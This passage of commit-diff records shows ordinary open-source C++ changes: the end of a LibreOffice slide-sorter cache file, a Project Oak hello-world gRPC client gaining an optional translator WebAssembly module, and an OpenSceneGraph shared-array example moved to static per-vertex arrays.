(mpRecentlyUsedPageCaches->find(pDocument));\n    if (iQueue == mpRecentlyUsedPageCaches->end())\n        iQueue = mpRecentlyUsedPageCaches->insert(\n            RecentlyUsedPageCaches::value_type(pDocument, RecentlyUsedQueue())\n            ).first;\n\n    if (iQueue != mpRecentlyUsedPageCaches->end())\n    {\n        iQueue->second.push_front(RecentlyUsedCacheDescriptor(pDocument,rPreviewSize,rpCache));\n        \/\/ Shorten the list of recently used caches to the allowed maximal length.\n        while (iQueue->second.size() > mnMaximalRecentlyCacheCount)\n            iQueue->second.pop_back();\n    }\n}\n\n\n\n} } } \/\/ end of namespace ::sd::slidesorter::cache\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>added affect editing, adding and deleting<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>fix gcc build of vectnative after msvc round of fixes<commit_after><|endoftext|>"}
{"text":"<commit_before>\/*\n * Copyright 2019 The Project Oak Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <cstdlib>\n\n#include \"absl\/flags\/flag.h\"\n#include \"absl\/flags\/parse.h\"\n#include \"absl\/memory\/memory.h\"\n#include \"asylo\/util\/logging.h\"\n#include \"examples\/hello_world\/proto\/hello_world.grpc.pb.h\"\n#include \"examples\/hello_world\/proto\/hello_world.pb.h\"\n#include \"include\/grpcpp\/grpcpp.h\"\n#include \"oak\/client\/application_client.h\"\n#include \"oak\/client\/manager_client.h\"\n#include \"oak\/common\/app_config.h\"\n#include \"oak\/common\/utils.h\"\n\nABSL_FLAG(std::string, manager_address, \"127.0.0.1:8888\",\n          \"Address of the Oak Manager to connect to\");\nABSL_FLAG(std::string, storage_address, \"127.0.0.1:7867\",\n          \"Address of the storage provider to connect to\");\nABSL_FLAG(std::string, module, \"\", \"File containing the compiled WebAssembly module\");\n\nusing ::oak::examples::hello_world::HelloRequest;\nusing ::oak::examples::hello_world::HelloResponse;\nusing ::oak::examples::hello_world::HelloWorld;\n\nvoid say_hello(HelloWorld::Stub* stub, std::string name) {\n  grpc::ClientContext context;\n  HelloRequest request;\n  request.set_greeting(name);\n  LOG(INFO) << \"Request: \" << request.greeting();\n  HelloResponse response;\n  grpc::Status status = stub->SayHello(&context, request, &response);\n  if (!status.ok()) {\n    LOG(WARNING) << \"Could not call SayHello('\" << name << \"'): \" << status.error_code() << \": \"\n                 << status.error_message();\n    return;\n  }\n  LOG(INFO) << \"Response: \" << response.reply();\n}\n\nvoid lots_of_replies(HelloWorld::Stub* stub, std::string name) {\n  grpc::ClientContext context;\n  HelloRequest request;\n  request.set_greeting(name);\n  LOG(INFO) << \"Request: \" << request.greeting();\n  auto reader = stub->LotsOfReplies(&context, request);\n  if (reader == nullptr) {\n    LOG(QFATAL) << \"Could not call LotsOfReplies\";\n  }\n  HelloResponse response;\n  while (reader->Read(&response)) {\n    LOG(INFO) << \"Response: \" << response.reply();\n  }\n}\n\nint main(int argc, char** argv) {\n  absl::ParseCommandLine(argc, argv);\n\n  \/\/ Connect to the Oak Manager.\n  std::unique_ptr<oak::ManagerClient> manager_client =\n      absl::make_unique<oak::ManagerClient>(grpc::CreateChannel(\n          absl::GetFlag(FLAGS_manager_address), grpc::InsecureChannelCredentials()));\n\n  \/\/ Load the Oak Module to execute. This needs to be compiled from Rust to WebAssembly separately.\n  std::string module_bytes = oak::utils::read_file(absl::GetFlag(FLAGS_module));\n\n  \/\/ Build an application configuration with a single WebAssembly node with the provided\n  \/\/ WebAssembly module bytes.\n  std::unique_ptr<oak::ApplicationConfiguration> app_config = oak::DefaultConfig(module_bytes);\n  oak::AddLoggingToConfig(app_config.get());\n  std::string storage_address = absl::GetFlag(FLAGS_storage_address);\n  if (!storage_address.empty()) {\n    oak::AddStorageToConfig(app_config.get(), storage_address);\n  }\n\n  std::unique_ptr<oak::CreateApplicationResponse> create_application_response =\n      manager_client->CreateApplication(std::move(app_config));\n  if (create_application_response == nullptr) {\n    LOG(QFATAL) << \"Failed to create application\";\n  }\n\n  std::stringstream addr;\n  addr << \"127.0.0.1:\" << create_application_response->grpc_port();\n  std::string application_id(create_application_response->application_id());\n  LOG(INFO) << \"Connecting to Oak Application id=\" << application_id << \": \" << addr.str();\n\n  oak::ApplicationClient::InitializeAssertionAuthorities();\n\n  \/\/ Connect to the newly created Oak Application.\n  auto stub = HelloWorld::NewStub(oak::ApplicationClient::CreateChannel(addr.str()));\n\n  \/\/ Perform multiple invocations of the same Oak Application, with different parameters.\n  say_hello(stub.get(), \"WORLD\");\n  say_hello(stub.get(), \"MONDO\");\n  say_hello(stub.get(), \"世界\");\n  say_hello(stub.get(), \"Query-of-Error\");\n  say_hello(stub.get(), \"MONDE\");\n\n  lots_of_replies(stub.get(), \"WORLDS\");\n\n  \/\/ Request termination of the Oak Application.\n  LOG(INFO) << \"Terminating application id=\" << application_id;\n  manager_client->TerminateApplication(application_id);\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>examples\/hello_world: opt to configure translator<commit_after>\/*\n * Copyright 2019 The Project Oak Authors\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include <cstdlib>\n\n#include \"absl\/flags\/flag.h\"\n#include \"absl\/flags\/parse.h\"\n#include \"absl\/memory\/memory.h\"\n#include \"asylo\/util\/logging.h\"\n#include \"examples\/hello_world\/proto\/hello_world.grpc.pb.h\"\n#include \"examples\/hello_world\/proto\/hello_world.pb.h\"\n#include \"include\/grpcpp\/grpcpp.h\"\n#include \"oak\/client\/application_client.h\"\n#include \"oak\/client\/manager_client.h\"\n#include \"oak\/common\/app_config.h\"\n#include \"oak\/common\/utils.h\"\n\nABSL_FLAG(std::string, manager_address, \"127.0.0.1:8888\",\n          \"Address of the Oak Manager to connect to\");\nABSL_FLAG(std::string, storage_address, \"127.0.0.1:7867\",\n          \"Address of the storage provider to connect to\");\nABSL_FLAG(std::string, module, \"\", \"File containing the compiled WebAssembly module\");\nABSL_FLAG(std::string, translator_module, \"\",\n          \"File containing a compiled WebAssembly module with a Translator Node\");\n\nusing ::oak::examples::hello_world::HelloRequest;\nusing ::oak::examples::hello_world::HelloResponse;\nusing ::oak::examples::hello_world::HelloWorld;\n\nvoid say_hello(HelloWorld::Stub* stub, std::string name) {\n  grpc::ClientContext context;\n  HelloRequest request;\n  request.set_greeting(name);\n  LOG(INFO) << \"Request: \" << request.greeting();\n  HelloResponse response;\n  grpc::Status status = stub->SayHello(&context, request, &response);\n  if (!status.ok()) {\n    LOG(WARNING) << \"Could not call SayHello('\" << name << \"'): \" << status.error_code() << \": \"\n                 << status.error_message();\n    return;\n  }\n  LOG(INFO) << \"Response: \" << response.reply();\n}\n\nvoid lots_of_replies(HelloWorld::Stub* stub, std::string name) {\n  grpc::ClientContext context;\n  HelloRequest request;\n  request.set_greeting(name);\n  LOG(INFO) << \"Request: \" << request.greeting();\n  auto reader = stub->LotsOfReplies(&context, request);\n  if (reader == nullptr) {\n    LOG(QFATAL) << \"Could not call LotsOfReplies\";\n  }\n  HelloResponse response;\n  while (reader->Read(&response)) {\n    LOG(INFO) << \"Response: \" << response.reply();\n  }\n}\n\nint main(int argc, char** argv) {\n  absl::ParseCommandLine(argc, argv);\n\n  \/\/ Connect to the Oak Manager.\n  std::unique_ptr<oak::ManagerClient> manager_client =\n      absl::make_unique<oak::ManagerClient>(grpc::CreateChannel(\n          absl::GetFlag(FLAGS_manager_address), grpc::InsecureChannelCredentials()));\n\n  \/\/ Load the Oak Module to execute. This needs to be compiled from Rust to WebAssembly separately.\n  std::string module_bytes = oak::utils::read_file(absl::GetFlag(FLAGS_module));\n\n  \/\/ Build an application configuration with a single WebAssembly Node config\n  \/\/ using the provided WebAssembly module bytes.\n  std::unique_ptr<oak::ApplicationConfiguration> app_config = oak::DefaultConfig(module_bytes);\n  oak::AddLoggingToConfig(app_config.get());\n  std::string storage_address = absl::GetFlag(FLAGS_storage_address);\n  if (!storage_address.empty()) {\n    oak::AddStorageToConfig(app_config.get(), storage_address);\n  }\n\n  \/\/ Optionally load another WebAssembly module holding code for a translator\n  \/\/ Node.\n  std::string translator_module = absl::GetFlag(FLAGS_translator_module);\n  if (!translator_module.empty()) {\n    LOG(INFO) << \"Adding 'translator' module config with Wasm code from \" << translator_module;\n    std::string translator_module_bytes = oak::utils::read_file(translator_module);\n    oak::NodeConfiguration* node_config = app_config->add_node_configs();\n    node_config->set_name(\"translator\");\n    oak::WebAssemblyConfiguration* wasm_config = node_config->mutable_wasm_config();\n    wasm_config->set_module_bytes(translator_module_bytes);\n  }\n\n  std::unique_ptr<oak::CreateApplicationResponse> create_application_response =\n      manager_client->CreateApplication(std::move(app_config));\n  if (create_application_response == nullptr) {\n    LOG(QFATAL) << \"Failed to create application\";\n  }\n\n  std::stringstream addr;\n  addr << \"127.0.0.1:\" << create_application_response->grpc_port();\n  std::string application_id(create_application_response->application_id());\n  LOG(INFO) << \"Connecting to Oak Application id=\" << application_id << \": \" << addr.str();\n\n  oak::ApplicationClient::InitializeAssertionAuthorities();\n\n  \/\/ Connect to the newly created Oak Application.\n  auto stub = HelloWorld::NewStub(oak::ApplicationClient::CreateChannel(addr.str()));\n\n  \/\/ Perform multiple invocations of the same Oak Application, with different parameters.\n  say_hello(stub.get(), \"WORLD\");\n  say_hello(stub.get(), \"MONDO\");\n  say_hello(stub.get(), \"世界\");\n  say_hello(stub.get(), \"Query-of-Error\");\n  say_hello(stub.get(), \"MONDE\");\n\n  lots_of_replies(stub.get(), \"WORLDS\");\n\n  \/\/ Request termination of the Oak Application.\n  LOG(INFO) << \"Terminating application id=\" << application_id;\n  manager_client->TerminateApplication(application_id);\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* OpenSceneGraph example, osgsharedarray.\n*\n*  Permission is hereby granted, free of charge, to any person obtaining a copy\n*  of this software and associated documentation files (the \"Software\"), to deal\n*  in the Software without restriction, including without limitation the rights\n*  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n*  copies of the Software, and to permit persons to whom the Software is\n*  furnished to do so, subject to the following conditions:\n*\n*  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n*  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n*  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n*  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n*  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n*  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n*  THE SOFTWARE.\n*\/\n\n#include <osg\/Array>\n#include <osg\/Geode>\n#include <osg\/Geometry>\n#include <osgViewer\/Viewer>\n\n\/** This class is an example of how to create your own subclass of osg::Array. This \n  * is useful if your application has data in its own form of storage and you don't \n  * want to make another copy into one of the predefined osg::Array classes.\n  *\n  * @note This is not really intended to be a useful subclass of osg::Array. It \n  * doesn't do anything smart about memory management. It is simply intended as \n  * an example you can follow to create your own subclasses of osg::Array for \n  * your application's storage requirements. \n  *\/\nclass MyArray : public osg::Array { \npublic:\n    \/** Default ctor. Creates an empty array. *\/\n    MyArray() :\n        osg::Array(osg::Array::Vec3ArrayType,3,GL_FLOAT),\n        _numElements(0),\n        _ptr(NULL) {\n    }\n\n    \/** \"Normal\" ctor. \n      *\n      * @param no The number of elements in the array.\n      * @param ptr Pointer to the data. This class just keeps that \n      * pointer. It doesn't manage the memory.\n      *\/\n    MyArray(unsigned int no, osg::Vec3* ptr) :\n        osg::Array(osg::Array::Vec3ArrayType,3,GL_FLOAT),\n        _numElements(no),\n        _ptr(ptr) {\n    }\n\n    \/** Copy ctor. *\/\n    MyArray(const MyArray& other, const osg::CopyOp& copyop) :\n        osg::Array(osg::Array::Vec3ArrayType,3,GL_FLOAT),\n        _numElements(other._numElements),\n        _ptr(other._ptr) {\n    }\n\n    \/** What type of object would clone return? *\/\n    virtual Object* cloneType() const { \n        return new MyArray(); \n    }\n    \n    \/** Create a copy of the object. *\/ \n    virtual osg::Object* clone(const osg::CopyOp& copyop) const { \n        return new MyArray(*this,copyop); \n    }        \n        \n    \/** Accept method for ArrayVisitors.\n      *\n      * @note This will end up in ArrayVisitor::apply(osg::Array&).\n      *\/\n    virtual void accept(osg::ArrayVisitor& av) {\n        av.apply(*this);\n    }\n\n    \/** Const accept method for ArrayVisitors.\n      *\n      * @note This will end up in ConstArrayVisitor::apply(const osg::Array&).\n      *\/\n    virtual void accept(osg::ConstArrayVisitor& cav) const {\n        cav.apply(*this);\n    }\n\n    \/** Accept method for ValueVisitors. *\/\n    virtual void accept(unsigned int index, osg::ValueVisitor& vv) {\n        vv.apply(_ptr[index]);\n    }\n\n    \/** Const accept method for ValueVisitors. *\/\n    virtual void accept(unsigned int index, osg::ConstValueVisitor& cvv) const {\n        cvv.apply(_ptr[index]);\n    }\n\n    \/** Compare method. \n      * Return -1 if lhs element is less than rhs element, 0 if equal,\n      * 1 if lhs element is greater than rhs element. \n      *\/\n    virtual int compare(unsigned int lhs,unsigned int rhs) const {\n        const osg::Vec3& elem_lhs = _ptr[lhs];\n        const osg::Vec3& elem_rhs = _ptr[rhs];\n        if (elem_lhs<elem_rhs) return -1;\n        if (elem_rhs<elem_lhs) return  1;\n        return 0;\n    }\n\n    \/** Returns a pointer to the first element of the array. *\/\n    virtual const GLvoid* getDataPointer() const {\n        return _ptr;\n    }\n\n    \/** Returns the number of elements in the array. *\/\n    virtual unsigned int getNumElements() const {\n        return _numElements;\n    }\n\n    \/** Returns the number of bytes of storage required to hold \n      * all of the elements of the array.\n      *\/\n    virtual unsigned int getTotalDataSize() const {\n        return _numElements * sizeof(osg::Vec3);\n    }\n\nprivate:\n    unsigned int _numElements;\n    osg::Vec3*   _ptr;\n};\n\n\/** The data values for the example. Simply defines a cube with \n  * per-face colors and normals.\n  *\/\nnamespace {\n}\n\n\/** Create a Geode that describes a cube using our own \n  * subclass of osg::Array for the vertices. It uses \n  * the \"regular\" array classes for all of the other \n  * arrays.\n  *\n  * Creating your own Array class isn't really very \n  * useful for a tiny amount of data like this. You \n  * could just go ahead and copy the data into one of \n  * the \"regular\" Array classes like this does for \n  * normals and colors. The point of creating your \n  * own subclass of Array is for use with datasets \n  * that are much larger than anything you could \n  * create a simple example from. In that case, you \n  * might not want to create a copy of the data in \n  * one of the Array classes that comes with OSG, but \n  * instead reuse the copy your application already \n  * has and wrap it up in a subclass of osg::Array\n  * that presents the right interface for use with \n  * OpenSceneGraph.\n  *\n  * Note that I'm only using the shared array for the \n  * vertices. You could do something similar for any \n  * of the Geometry node's data arrays.\n  *\/\nosg::Geode* createGeometry()\n{\n    const osg::Vec3 myVertices[] = { osg::Vec3(-1.,-1.,-1.),\n                                     osg::Vec3( 1.,-1.,-1.),\n                                     osg::Vec3(-1., 1.,-1.),\n                                     osg::Vec3( 1., 1.,-1.),\n                                     osg::Vec3(-1.,-1., 1.),\n                                     osg::Vec3( 1.,-1., 1.),\n                                     osg::Vec3(-1., 1., 1.),\n                                     osg::Vec3( 1., 1., 1.)\n                                   };\n\n    const osg::Vec3 myNormals[] = { osg::Vec3( 0., 0., 1.),\n                                    osg::Vec3( 1., 0., 0.),\n                                    osg::Vec3( 0., 0.,-1.),\n                                    osg::Vec3(-1., 0., 0.),\n                                    osg::Vec3( 0., 1., 0.),\n                                    osg::Vec3( 0.,-1., 0.)\n                                  };\n\n    const osg::Vec4 myColors[] = { osg::Vec4( 1., 0., 0., 1.),\n                                   osg::Vec4( 0., 1., 0., 1.),\n                                   osg::Vec4( 1., 1., 0., 1.),\n                                   osg::Vec4( 0., 0., 1., 1.),\n                                   osg::Vec4( 1., 0., 1., 1.),\n                                   osg::Vec4( 0., 1., 1., 1.)\n                                 };\n\n    const unsigned short myIndices[] = { 4, 5, 7, 6,\n                                        5, 1, 3, 7,\n                                        1, 0, 2, 3,\n                                        0, 4, 6, 2,\n                                        6, 7, 3, 2,\n                                        0, 1, 5, 4\n                                       };\n\n    osg::Geode* geode = new osg::Geode();\n\n    \/\/ create Geometry\n    osg::ref_ptr<osg::Geometry> geom(new osg::Geometry());\n\n    \/\/ add vertices using MyArray class\n    unsigned int numVertices = sizeof(myVertices)\/sizeof(myVertices[0]);\n    geom->setVertexArray(new MyArray(numVertices,const_cast<osg::Vec3*>(&myVertices[0])));\n\n    \/\/ add normals\n    unsigned int numNormals = sizeof(myNormals)\/sizeof(myNormals[0]);\n    geom->setNormalArray(new osg::Vec3Array(numNormals,const_cast<osg::Vec3*>(&myNormals[0])));\n    geom->setNormalBinding(osg::Geometry::BIND_PER_PRIMITIVE);\n\n    \/\/ add colors\n    unsigned int numColors = sizeof(myColors)\/sizeof(myColors[0]);\n    osg::Vec4Array* normal_array = new osg::Vec4Array(numColors,const_cast<osg::Vec4*>(&myColors[0]));\n    geom->setColorArray(normal_array);\n    geom->setColorBinding(osg::Geometry::BIND_PER_PRIMITIVE);\n\n    \/\/ add PrimitiveSet\n    unsigned int numIndices = sizeof(myIndices)\/sizeof(myIndices[0]);\n    geom->addPrimitiveSet(new osg::DrawElementsUShort(osg::PrimitiveSet::QUADS,\n                                                      numIndices,\n                                                      const_cast<unsigned short *>(myIndices)));\n\n    \/\/ Changing these flags will tickle different cases in \n    \/\/ Geometry::drawImplementation. They should all work fine \n    \/\/ with the shared array. Setting VertexIndices will hit \n    \/\/ some other cases.\n    geom->setUseVertexBufferObjects(false);\n    geom->setUseDisplayList(false);\n    geom->setFastPathHint(false);\n\n    geode->addDrawable( geom.get() );\n\n    return geode;\n}\n\nint main(int , char **)\n{\n    \/\/ construct the viewer.\n    osgViewer::Viewer viewer;\n\n    \/\/ add model to viewer.\n    viewer.setSceneData( createGeometry() );\n\n    \/\/ create the windows and run the threads.\n    return viewer.run();\n}\n<commit_msg>From Mathias Froehlich, \"attached is a change to osgsharedarray to move completely to the fast geometry path. Also the arrays are moved back to static storage since this is the data that is actually referenced in draw. So the change moving this onto the stack that happend somewhere before broke this.\"<commit_after>\/* OpenSceneGraph example, osgsharedarray.\n*\n*  Permission is hereby granted, free of charge, to any person obtaining a copy\n*  of this software and associated documentation files (the \"Software\"), to deal\n*  in the Software without restriction, including without limitation the rights\n*  to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n*  copies of the Software, and to permit persons to whom the Software is\n*  furnished to do so, subject to the following conditions:\n*\n*  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n*  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n*  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n*  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n*  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n*  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n*  THE SOFTWARE.\n*\/\n\n#include <osg\/Array>\n#include <osg\/Geode>\n#include <osg\/Geometry>\n#include <osgViewer\/Viewer>\n\n\/** This class is an example of how to create your own subclass of osg::Array. This \n  * is useful if your application has data in its own form of storage and you don't \n  * want to make another copy into one of the predefined osg::Array classes.\n  *\n  * @note This is not really intended to be a useful subclass of osg::Array. It \n  * doesn't do anything smart about memory management. It is simply intended as \n  * an example you can follow to create your own subclasses of osg::Array for \n  * your application's storage requirements. \n  *\/\nclass MyArray : public osg::Array { \npublic:\n    \/** Default ctor. Creates an empty array. *\/\n    MyArray() :\n        osg::Array(osg::Array::Vec3ArrayType,3,GL_FLOAT),\n        _numElements(0),\n        _ptr(NULL) {\n    }\n\n    \/** \"Normal\" ctor. \n      *\n      * @param no The number of elements in the array.\n      * @param ptr Pointer to the data. This class just keeps that \n      * pointer. It doesn't manage the memory.\n      *\/\n    MyArray(unsigned int no, osg::Vec3* ptr) :\n        osg::Array(osg::Array::Vec3ArrayType,3,GL_FLOAT),\n        _numElements(no),\n        _ptr(ptr) {\n    }\n\n    \/** Copy ctor. *\/\n    MyArray(const MyArray& other, const osg::CopyOp& copyop) :\n        osg::Array(osg::Array::Vec3ArrayType,3,GL_FLOAT),\n        _numElements(other._numElements),\n        _ptr(other._ptr) {\n    }\n\n    \/** What type of object would clone return? *\/\n    virtual Object* cloneType() const { \n        return new MyArray(); \n    }\n    \n    \/** Create a copy of the object. *\/ \n    virtual osg::Object* clone(const osg::CopyOp& copyop) const { \n        return new MyArray(*this,copyop); \n    }        \n        \n    \/** Accept method for ArrayVisitors.\n      *\n      * @note This will end up in ArrayVisitor::apply(osg::Array&).\n      *\/\n    virtual void accept(osg::ArrayVisitor& av) {\n        av.apply(*this);\n    }\n\n    \/** Const accept method for ArrayVisitors.\n      *\n      * @note This will end up in ConstArrayVisitor::apply(const osg::Array&).\n      *\/\n    virtual void accept(osg::ConstArrayVisitor& cav) const {\n        cav.apply(*this);\n    }\n\n    \/** Accept method for ValueVisitors. *\/\n    virtual void accept(unsigned int index, osg::ValueVisitor& vv) {\n        vv.apply(_ptr[index]);\n    }\n\n    \/** Const accept method for ValueVisitors. *\/\n    virtual void accept(unsigned int index, osg::ConstValueVisitor& cvv) const {\n        cvv.apply(_ptr[index]);\n    }\n\n    \/** Compare method. \n      * Return -1 if lhs element is less than rhs element, 0 if equal,\n      * 1 if lhs element is greater than rhs element. \n      *\/\n    virtual int compare(unsigned int lhs,unsigned int rhs) const {\n        const osg::Vec3& elem_lhs = _ptr[lhs];\n        const osg::Vec3& elem_rhs = _ptr[rhs];\n        if (elem_lhs<elem_rhs) return -1;\n        if (elem_rhs<elem_lhs) return  1;\n        return 0;\n    }\n\n    \/** Returns a pointer to the first element of the array. *\/\n    virtual const GLvoid* getDataPointer() const {\n        return _ptr;\n    }\n\n    \/** Returns the number of elements in the array. *\/\n    virtual unsigned int getNumElements() const {\n        return _numElements;\n    }\n\n    \/** Returns the number of bytes of storage required to hold \n      * all of the elements of the array.\n      *\/\n    virtual unsigned int getTotalDataSize() const {\n        return _numElements * sizeof(osg::Vec3);\n    }\n\nprivate:\n    unsigned int _numElements;\n    osg::Vec3*   _ptr;\n};\n\n\/** The data values for the example. Simply defines a cube with \n  * per-face colors and normals.\n  *\/\n\nconst osg::Vec3 myVertices[] = { osg::Vec3(-1.,-1., 1.),\n                                 osg::Vec3( 1.,-1., 1.),\n                                 osg::Vec3( 1., 1., 1.),\n                                 osg::Vec3(-1., 1., 1.),\n\n                                 osg::Vec3( 1.,-1., 1.),\n                                 osg::Vec3( 1.,-1.,-1.),\n                                 osg::Vec3( 1., 1.,-1.),\n                                 osg::Vec3( 1., 1., 1.),\n\n                                 osg::Vec3( 1.,-1.,-1.),\n                                 osg::Vec3(-1.,-1.,-1.),\n                                 osg::Vec3(-1., 1.,-1.),\n                                 osg::Vec3( 1., 1.,-1.),\n\n                                 osg::Vec3(-1.,-1.,-1.),\n                                 osg::Vec3(-1.,-1., 1.),\n                                 osg::Vec3(-1., 1., 1.),\n                                 osg::Vec3(-1., 1.,-1.),\n\n                                 osg::Vec3(-1., 1., 1.),\n                                 osg::Vec3( 1., 1., 1.),\n                                 osg::Vec3( 1., 1.,-1.),\n                                 osg::Vec3(-1., 1.,-1.),\n\n                                 osg::Vec3(-1.,-1.,-1.),\n                                 osg::Vec3( 1.,-1.,-1.),\n                                 osg::Vec3( 1.,-1., 1.),\n                                 osg::Vec3(-1.,-1., 1.),\n                               };\n\n\nconst osg::Vec3 myNormals[] = { osg::Vec3( 0., 0., 1.),\n                                osg::Vec3( 0., 0., 1.),\n                                osg::Vec3( 0., 0., 1.),\n                                osg::Vec3( 0., 0., 1.),\n\n                                osg::Vec3( 1., 0., 0.),\n                                osg::Vec3( 1., 0., 0.),\n                                osg::Vec3( 1., 0., 0.),\n                                osg::Vec3( 1., 0., 0.),\n\n                                osg::Vec3( 0., 0.,-1.),\n                                osg::Vec3( 0., 0.,-1.),\n                                osg::Vec3( 0., 0.,-1.),\n                                osg::Vec3( 0., 0.,-1.),\n\n                                osg::Vec3(-1., 0., 0.),\n                                osg::Vec3(-1., 0., 0.),\n                                osg::Vec3(-1., 0., 0.),\n                                osg::Vec3(-1., 0., 0.),\n\n                                osg::Vec3( 0., 1., 0.),\n                                osg::Vec3( 0., 1., 0.),\n                                osg::Vec3( 0., 1., 0.),\n                                osg::Vec3( 0., 1., 0.),\n\n                                osg::Vec3( 0.,-1., 0.),\n                                osg::Vec3( 0.,-1., 0.),\n                                osg::Vec3( 0.,-1., 0.),\n                                osg::Vec3( 0.,-1., 0.)\n                              };\n\nconst osg::Vec4 myColors[] = { osg::Vec4( 1., 0., 0., 1.),\n                               osg::Vec4( 1., 0., 0., 1.),\n                               osg::Vec4( 1., 0., 0., 1.),\n                               osg::Vec4( 1., 0., 0., 1.),\n\n                               osg::Vec4( 0., 1., 0., 1.),\n                               osg::Vec4( 0., 1., 0., 1.),\n                               osg::Vec4( 0., 1., 0., 1.),\n                               osg::Vec4( 0., 1., 0., 1.),\n\n                               osg::Vec4( 1., 1., 0., 1.),\n                               osg::Vec4( 1., 1., 0., 1.),\n                               osg::Vec4( 1., 1., 0., 1.),\n                               osg::Vec4( 1., 1., 0., 1.),\n\n                               osg::Vec4( 0., 0., 1., 1.),\n                               osg::Vec4( 0., 0., 1., 1.),\n                               osg::Vec4( 0., 0., 1., 1.),\n                               osg::Vec4( 0., 0., 1., 1.),\n\n                               osg::Vec4( 1., 0., 1., 1.),\n                               osg::Vec4( 1., 0., 1., 1.),\n                               osg::Vec4( 1., 0., 1., 1.),\n                               osg::Vec4( 1., 0., 1., 1.),\n\n                               osg::Vec4( 0., 1., 1., 1.),\n                               osg::Vec4( 0., 1., 1., 1.),\n                               osg::Vec4( 0., 1., 1., 1.),\n                               osg::Vec4( 0., 1., 1., 1.)\n                             };\n\n\/** Create a Geode that describes a cube using our own \n  * subclass of osg::Array for the vertices. It uses \n  * the \"regular\" array classes for all of the other \n  * arrays.\n  *\n  * Creating your own Array class isn't really very \n  * useful for a tiny amount of data like this. You \n  * could just go ahead and copy the data into one of \n  * the \"regular\" Array classes like this does for \n  * normals and colors. The point of creating your \n  * own subclass of Array is for use with datasets \n  * that are much larger than anything you could \n  * create a simple example from. In that case, you \n  * might not want to create a copy of the data in \n  * one of the Array classes that comes with OSG, but \n  * instead reuse the copy your application already \n  * has and wrap it up in a subclass of osg::Array\n  * that presents the right interface for use with \n  * OpenSceneGraph.\n  *\n  * Note that I'm only using the shared array for the \n  * vertices. You could do something similar for any \n  * of the Geometry node's data arrays.\n  *\/\nosg::Geode* createGeometry()\n{\n    osg::Geode* geode = new osg::Geode();\n\n    \/\/ create Geometry\n    osg::ref_ptr<osg::Geometry> geom(new osg::Geometry());\n\n    \/\/ add vertices using MyArray class\n    unsigned int numVertices = sizeof(myVertices)\/sizeof(myVertices[0]);\n    geom->setVertexArray(new MyArray(numVertices,const_cast<osg::Vec3*>(&myVertices[0])));\n\n    \/\/ add normals\n    unsigned int numNormals = sizeof(myNormals)\/sizeof(myNormals[0]);\n    geom->setNormalArray(new osg::Vec3Array(numNormals,const_cast<osg::Vec3*>(&myNormals[0])));\n    geom->setNormalBinding(osg::Geometry::BIND_PER_VERTEX);\n\n    \/\/ add colors\n    unsigned int numColors = sizeof(myColors)\/sizeof(myColors[0]);\n    osg::Vec4Array* normal_array = new osg::Vec4Array(numColors,const_cast<osg::Vec4*>(&myColors[0]));\n    geom->setColorArray(normal_array);\n    geom->setColorBinding(osg::Geometry::BIND_PER_VERTEX);\n\n    \/\/ add PrimitiveSet\n    geom->addPrimitiveSet(new osg::DrawArrays(osg::PrimitiveSet::QUADS, 0, numVertices));\n\n    \/\/ Changing these flags will tickle different cases in \n    \/\/ Geometry::drawImplementation. They should all work fine \n    \/\/ with the shared array. Setting VertexIndices will hit \n    \/\/ some other cases.\n    geom->setUseVertexBufferObjects(false);\n    geom->setUseDisplayList(false);\n    geom->setFastPathHint(false);\n\n    geode->addDrawable( geom.get() );\n\n    return geode;\n}\n\nint main(int , char **)\n{\n    \/\/ construct the viewer.\n    osgViewer::Viewer viewer;\n\n    \/\/ add model to viewer.\n    viewer.setSceneData( createGeometry() );\n\n    \/\/ create the windows and run the threads.\n    return viewer.run();\n}\n<|endoftext|>"}
